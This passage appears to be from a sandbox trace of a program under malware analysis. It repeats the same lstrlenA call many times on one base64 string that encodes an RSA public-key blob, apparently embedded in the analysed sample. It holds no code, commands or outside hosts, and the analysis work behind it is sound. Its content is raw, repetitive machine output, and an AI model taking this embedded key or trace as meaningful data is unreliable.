(lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA 